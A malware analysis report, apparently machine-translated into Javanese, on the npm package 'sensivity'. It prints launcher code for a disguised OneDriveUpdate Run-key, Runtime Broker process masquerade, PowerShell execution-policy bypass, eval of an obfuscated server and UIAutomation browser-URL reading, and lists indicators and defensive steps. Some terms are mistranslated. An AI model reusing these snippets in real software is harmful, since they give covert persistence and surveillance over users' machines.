TL; DR
Paket npm sensitivitas nggambarake awake dhewe minangka "Panel Kontrol Sensitivitas." Ing Windows, iki tumindak minangka alat kontrol jarak jauh lan pengawasan.
Titik mlebune, launcher.js, ngganti jeneng proses dhewe dadi Runtime Broker, nulis nilai Run-key otomatis sing jenenge OneDriveUpdate sing ngluncurake maneh paket liwat VBScript sing didhelikake, ngasilake PowerShell karo -ExecutionPolicy Bypass, banjur ngevaluasi muatan server sing dikaburkan 171 KB bebarengan karo modul asli 6.87 MB, sens.node.
Iki nglayani panel kontrol pasangan telpon ing port TCP 3000 lan maca URL bilah alamat browser aktif liwat Windows UIAutomation, ngawasi siji video YouTube sing wis di-hardcode.
Rong bagean sing sadurunge diwaca minangka kothak ireng saiki wis dirampungake. Server sing dikaburkan, server.obf.js, migunakaké skema string-array RC4 obfuscator.io; ngimplementasikaké manèh dekoderé kanthi offline (ora ana JavaScript sing dieksekusi) bakal mbalekaké siji titik pungkasan eksternal — https://izopi.com/check.php — bebarengan karo kunci publik RSA sing dipasang sing digunakake kanggo verifikasi respon lisensi sing ditandatangani.
Modul asli, sens.node, ora dikemas: tabel impor lan string sing disematkan ngidentifikasi minangka overlay ing game DirectX 11 / Dear ImGui sing nyedhiyakake fitur aimbot, ESP (wall-hack), lan triggerbot, didorong dening injeksi proses jarak jauh lan maca/nulis memori.
String ing njero ngrujuk entitas kendaraan lan lokasi peta sing konsisten karo GTA V / FiveM. Paket npm minangka pembungkus pangiriman lan persistensi ing sekitar modul asli kasebut.
Sinyal sing nemtokake iku operasional, dudu teknis: siji penerbit anonim nerbitake kira-kira pitung puluh versi saka siji paket — 2.5.0 liwat 2.5.69 — sajrone sawetara dina, saben dina nggawa peluncur sing padha.
Ora ana instalasi hooksPayload mung mlaku nalika paket diwiwiti.
Serangan: Cara Kerjane
sensivity ngirim sepuluh file. Package.json-e langka: ora ana kolom repositori, ora ana lisensi, alias utama lan rong bin (sensivity, sens) kabeh nuduhake launcher.js, lan skrip wiwitan saka node launcher.js. Ora ana postinstall utawa preinstall. Ora ana sing mlaku ing npm install. Prilaku sing diterangake ing ngisor iki mlaku nalika pangguna miwiti paket — liwat bin shim, skrip wiwitan, utawa require.
Tarball iki ngemot launcher, server sing di-obfuscate, modul asli, skrip Visual Basic, lan direktori publik/web kanggo panel kontrol. launcher.js minangka orchestrator sing bisa diwaca; logika sing penting nalika runtime ana ing rong blob sing dimuat — server sing di-obfuscate lan modul asli sing dikompilasi, loro-lorone dirampungake ing ngisor iki.
Proses masquerade lan updater OneDrive palsu
Ing awal eksekusi, launcher.js nyetel jeneng proses dhewe kaping pindho:
javascript process.title = 'Runtime Broker'; Runtime Broker kuwi proses Windows sing sah (RuntimeBroker.exe) sing ngatur ijin aplikasi. Ngganti jeneng proses Node supaya cocog tegese mung ndeleng Task Manager wae ora nuduhake ana sing aneh.
Persistence ditulis liwat PowerShell tinimbang API registri langsung:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Nilai autostart dijenengi OneDriveUpdate, lan ora nuduhake paket kasebut kanthi langsung. Nanging nuduhake wscript.exe sing mbukak OneDrive.Standalone.Updater.vbs sing dibundel. Skrip kasebut bakal ngluncurake maneh node launcher.js ing jendela sing didhelikake. Jeneng Run-key lan jeneng file VBScript njupuk merek Microsoft, mula entri autostart kasebut diwaca minangka tugas OneDrive rutin.
PowerShell nganggo bypass kebijakan eksekusi
Launcher bola-bali ngirim menyang PowerShell. Wadah sing ditandhani pemindai minangka penting yaiku peluncuran .ps1 sing digawe kanthi kabijakan eksekusi dipateni:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass mbusak pamriksan penandatanganan skrip lokal kanggo panyuwunan kasebut. Skrip sing digawe nangani karya pengawasan browser lan deteksi jendela sing diterangake ing bagean sabanjure.
Server sing dikaburkan lan modul asli
Sawisé persiyapan, launcher.js mbukak lan nglakokaké muatan asliné:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js kuwi 171 KB saka obfuscation _0x-array — pola JavaScript ing ngendi saben string lan identifier diganti karo indeks menyang array sing dikocok, banjur dide-referensikake nalika runtime. Skema kasebut yaiku varian RC4 sing digawe dening obfuscator.io: fungsi dekoder tunggal base64-dekode entri array banjur RC4-dekripsi nganggo kunci per-panggilan. Ngimplementasikake maneh dekoder kasebut ing skrip sing kapisah — mung mbukak implementasine maneh liwat array string entri 821 sing diekstrak, ora tau JavaScript paket dhewe — mbukak kanthi resik. Permukaan apa sing sederhana nanging decisive: siji URL eksternal, https://izopi.com/check.php`, sing ditugasake menyang konstanta LICENSE_URL; RSA PUBLIC_KEY_PEM` sing wis disemat; panel lokal ngarahake /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, lan /trigger/status; lan string child_process, crypto, lan [Sensivity] sens.node sing dimuat — sing terakhir yaiku baris log sing pas sing ditulis ulang dening peluncur menyang modul program sing dimuat. Titik pungkasan yaiku pamriksan lisensi: klien ngirim identifier (server sing dikaburkan mbentuk ID Discord: string %s) lan kunci RSA verifikasi respon server sing ditandatangani.
sens.node kuwi addon asli sing dikompilasi 6.87 MB, lan ora dikemas — entropi bagean ana ing 5.6–6.6 lan tabel impor lan ekspor PE isih utuh, mula kemampuane bisa diwaca langsung. Iki ngekspor napi_register_module_v1, standard Titik entri Node N-API, saengga server eval'd ngemot nganggo syarat sing prasaja. Tabel impor minangka petunjuk. Saka KERNEL32, iki narik OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, lan Process32First/NextW — set kanonik kanggo nemokake proses liyane, ngalokasikan memori ing njero, lan maca utawa nulis memori kasebut. Saka USER32, iki narik GetAsyncKeyState, GetKeyState, mouse_event, lan SetCursorPos; iki ngubungake d3d11.dll, D3DCOMPILER_43, lan dwmapi kanggo overlay ing layar, lan set WINHTTP lengkap kanggo panggilan jaringan. String sing disematke menehi jeneng set fitur tanpa ambiguitas: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, lan spanduk Dear ImGui Dear ImGui 1.91.3 WIP. String lokasi lan entitas kayata Grapeseed Medical Clinic lan kosakata vehicle-ESP konsisten karo GTA V / FiveM.
Pamisahan iki pancen disengaja: launcher.js sing bisa diwaca mung nggawa bagean-bagean sing gampang diwaca dening scanner — persistence, masquerade, eval call dhewe — dene obfuscation ndhelikake siji host eksternal yaiku kontak runtime, lan binar nyimpen logika game-overlay lan injeksi proses. Peluncur minangka shell tipis sing bisa diaudit; server sing diobfuscate ndhelikake identitas jaringan; modul asli minangka payload. Kita nggambarake impor lan string binar minangka sing wis diwaca; kita ora nyimpulake tujuan operator saka iku.
Panel kontrol pasangan telpon ing port 3000
Peluncur ngatur server web lokal ing port TCP 3000 lan nganggep minangka singleton. Peluncur iki nggoleki listener sing wis ana lan mbusak sadurunge ngiket:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Panel kasebut bisa dijangkau ing http://localhost:3000, kanthi URL fallback LAN sing wis di-hardcode yaiku http://192.168.1.16:3000. Direktori public/ lan prilaku panel kasebut konsisten karo alur pemasangan QR: telpon mindhai kode lan kaiket karo host minangka remot. Ora ana domain printah-lan-kontrol eksternal sing katon ing teks sing jelas ing peluncur — nanging, kaya sing dituduhake dening deobfuscation ing ndhuwur, ana siji sing ana ing server sing diobfuscate: titik pungkasan lisensi izopi.com. Panel kasebut dhewe lokal lan dicakup LAN; siji-sijine host metu yaiku pamriksan lisensi kasebut.
Model supervisor/worker sing kapisah njaga proses tetep urip. Peluncur bakal muncul maneh nganggo flag lingkungan SENSIVITY_SUPERVISOR lan SENSIVITY_WORKER, saben anak mlaku kanthi ndhelik, mula mateni siji proses bakal nggawe pengawas kudu miwiti maneh.
Pengawasan Browser lan Sinyal YouTube
Prilaku sing paling spesifik yaiku pemantauan browser. launcher.js mbangun PowerShell sing ndorong Windows UIAutomation kanggo maca bilah alamat browser sing mlaku:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern ngasilake isi teks saka elemen UI. Ditrapake ing kontrol sunting bilah alamat browser, iki ngasilake URL sing lagi dideleng korban — tanpa ekstensi browser, tanpa ndemek profil ing disk, lan tanpa hook API. Skrip sing digawe ngulang dhaptar $browserNames lan ngekstrak URL utawa judhul jendhela saka browser endi wae sing ana ing latar ngarep.
URL kuwi diuji marang siji target sing wis dikode kanthi keras:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Peluncur iki nyoblos puteran telung detik kanggo jendhela browser sing nuduhake YouTube, lan PowerShell sing digawe nggawa pasangan Get-YouTubeBrowser / Test-TargetYouTubeUrl sing cocog karo ID video kasebut. Efek sing bisa diamati ana rong: URL browsing aktif diwaca saka layar korban, lan interaksi host karo siji video YouTube tartamtu dideteksi. Kita njlentrehake mekanisme lan target; kita ora nyimpulake motif saka loro-lorone.
Sing diwaca ing bilah alamat kuwi sing dilabeli pemindai minangka sensitive_data_enumeration — sumber Process::env lan UIAutomation sing menehi wektu proses sing bisa digunakake jaringan. Iki katon ora mbebayani yen dipisahake lan mung bakal diawasi sawise siklus urip data dilacak saka sumber UIAutomation menyang server sing dikaburkan.
Garis Waktu lan Evolusi Versi
Sensivity dudu unggahan sapisan. Akun penerbit duwe kira-kira pitung puluh versi sing diterbitake saka paket tunggal iki, lan sing anyar terus teka sajrone jendela review. Peluncur iki nambah fitur demi fitur ing lini 2.5.x nalika persistensi lan pemuatan muatan tetep tetep.
| Tanggal (UTC) | Versi sing diamati | Kahanan peluncur |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Peluncur panel QR dhasar; Persistensi tombol Run; evaluasi server sing dikaburkan. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Sidik jari sing padha; penindasan jejak konsol. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Nambahake target keterlibatan YouTube sing disemat wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Penerbitan ulang pengisian kesenjangan ing kabeh jajaran; pengawas/pekerja. |
Maca launcher ing antarane perwakilan sing diunduh — 2.5.0, 2.5.36, lan 2.5.69 — nuduhake patang tingkatan. Versi paling awal nggawa launcher pasangan QR dhasar. Saka 2.5.33, panel panen bilah alamat UIAutomation katon. Saka 2.5.58, lapisan manajemen supervisor ditambahake. Saka 2.5.64, pengawas supervisor/pekerja sing kapisah ngrampungake set kasebut. Sajrone versi kasebut, ana patang perkara sing ora tau owah: tombol OneDriveUpdate Run, dropper OneDrive.Standalone.Updater.vbs, server.obf.js eval'd, lan modul asli sens.node.
Gelombang 2026-06-05 misuwur amarga nerbitake maneh nomer versi sing kurang — 2.5.0 nganti 2.5.15 — sing ana ing ngisor versi sing dikonfirmasi sawetara dina sadurunge. Efek kasebut yaiku baris 2.5.x sing jejer ing registri, saben versi nggawa peluncur sing padha.
Indikator kompromi
Kabeh indikator ing ngisor iki diwaca langsung saka paket tarball. Peluncur sing bisa diwaca mung nggawa loopback lan alamat LAN pribadi siji; jeneng host eksternal siji, izopi.com, ditemokake kanthi mbusak obfuscating server.obf.js offline.
| Koleksi | indikator | Cathetan |
|---|---|---|
| paket | npm:sensivity (≈70 versi, 2.5.0-2.5.69) | Penerbit paket tunggal; ora ana repositori; ora dilisensi. |
| file | launcher.js | Orkestrator sing bisa diwaca; target utama lan bin. |
| file | server.obf.js (≈171 KB) | obfuscator.io Payload string-array RC4, dimuat liwat eval(fs.readFileSync(...)). |
| file | sens.node (≈6.87 MB) | Tambahan N-API Node PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| file | OneDrive.Standalone.Updater.vbs | Peluncur ulang sing didhelikake (node launcher.js). |
| Network | https://izopi.com/check.php | Titik pungkasan lisensi/otorisasi dipulihake saka server sing dikaburkan; kunci publik RSA sing disematkan verifikasi tanggapan. |
| Kemampuan | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Injeksi proses jarak jauh lan kemampuan maca/nulis memori. |
| Kemampuan | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Overlay game DirectX 11 / ImGui sing ngetrapake fitur aimbot, ESP, lan triggerbot. |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Nilai autostart sing nuduhake wscript.exe lan peluncur VBScript. |
| proses | process.title = 'Runtime Broker' | Nyamar dadi proses Windows Runtime Broker sing sah. |
| Prilaku | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Bypass kebijakan eksekusi digunakake kanggo skrip PowerShell sing digawe. |
| Prilaku | UIAutomation ValuePattern maca bilah alamat browser | Maca URL jendhela browser latar ngarep. |
| Prilaku | ID video target wJWta2lO0Lw; Polling YouTube 3 detik | Sinyal pemantauan keterlibatan sing disematkan. |
| Network | http://localhost:3000, cadangan http://192.168.1.16:3000 | Panel kontrol pasangan QR ditampilake sacara lokal lan ing LAN. |
| lingkungan | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Gendéra koordinasi proses pengawas sing kapisah. |
Atribusi, Dampak, lan Pembela
Paket iki diterbitake dening siji akun npm sing email sing kasebut minangka alamat Gmail sing durung diverifikasi. Akun kasebut nduweni skor reputasi registri sing negatif banget, mung njaga lan nerbitake siji paket iki, lan ora duwe repositori sumber sing disambungake. Kita durung verifikasi kepemilikan email kasebut lan kita ngubungake kampanye kasebut karo akun penerbit, dudu karo individu sing dijenengi. Peluncur ora nduweni infrastruktur teks sing jelas, nanging siji host eksternal saiki wis dingerteni: server sing dikaburkan ngubungi izopi.com kanggo pamriksan lisensi, lan modul asli — diwaca saka tabel impor lan string tinimbang instruksi-demi-instruksi sing dibalik — minangka overlay game sing nyuntikake lan maca memori proses liyane.
Dampak sing bisa dideleng bakal dialami pangguna Windows sing nginstal lan mbukak sensitivitas kanthi ngarepake utilitas panel kontrol. Ing host kasebut, paket kasebut netepake persistensi autostart sing disamar minangka tugas OneDrive, ngganti jeneng dhewe kanggo niru proses sistem, maca URL apa wae sing dijelajahi pangguna, lan ngadegake panel pasangan sing ngiket mesin menyang remot liwat jaringan lokal. Pengawas supervisor/pekerja tegese mateni proses siji ora bakal mbusak; entri tombol Run bisa urip sawise di-reboot. macOS lan Linux ora dadi target peluncur — jalur persistensi, PowerShell, lan UIAutomation mung kanggo Windows.
Churn versi pitung puluh iku tren sing pantes ditandhani. Nerbitake maneh siji paket kaping pirang-pirang sajrone sawetara dina, kalebu ngisi maneh nomer versi ing ngisor sing wis dibusak, njaga salinan langsung ing registri antarane penghapusan lan ngganggu dhaptar blokir sing disemat versi. Entri dhaptar blokir kanggo sensivity@2.5.61 ora ana gunane nglawan sensivity@2.5.3 sing diterbitake maneh dina sabanjure.
Para pembela bisa tumindak miturut ing ngisor iki:
- Blokir sensitivitas jeneng paket langsung ing dhaptar sing diidini registri-proxy lan CI. Nyemat versi individu bakal ngilangi irama publikasi ulang; jeneng kasebut minangka indikator sing awet.
- Golekana nilai Run sing jenenge OneDriveUpdate sing datane ngundang wscript.exe nglawan .vbs ing jalur saben pangguna. Pembaruan OneDrive asli ora kadhaptar nganggo cara iki.
- Bebaya babagan proses Node.js sing process.title-e Runtime Broker. Broker sing sejatine yaiku RuntimeBroker.exe, dudu Node runtime.
- Tandha npm install-time fetches saka paket sing ngirim addon .node sing dikompilasi ditambah eval(fs.readFileSync(…)) saka file .obf.js sedulur. Pasangan kasebut — binar asli opaque sing dimuat ing jejere payload teks sing dikaburkan — minangka tandha struktural ing kene, ora gumantung saka string IOC apa wae.
- Anggep sembarang listener sing kaiket lokal ing port 3000 sing diasilake dening proses Node sing ora dikarepke minangka tersangka ing endpoint Windows sing dikelola.
- Blokir utawa wenehi tandha babagan panjalukan metu menyang izopi.com saka pangembang utawa host pangguna pungkasan; iki minangka siji-sijine titik pungkasan eksternal paket, sing bisa digayuh ing /check.php saka server sing dikaburkan.
- Kanggo addon .node sing dibundel, priksa tabel impor sadurunge percaya. Kombinasi OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread minangka injeksi proses jarak jauh preduli saka apa sing diklaim paket kasebut; ing kene ana ing jejere overlay Direct3D lan string aimbot/ESP/triggerbot.
Kanggo analisis statis pipelines, wujud keyakinane awet ing saindhenging churn versi: profil instalasi non-jaringan, penetapan judhul proses menyang jeneng proses sistem sing dikenal, penulisan Run-key liwat PowerShell, lan evaluasi file sing diwaca saka disk. Ora ana sing gumantung ing domain, IP, utawa nomer versi sing bisa diputer nalika diterbitake maneh sabanjure.
Cathetan Suku
[npm: sensitivitas] – kaca registri kanggo baris versi paket sing dirembug ing kene; bisa uga dibusak.





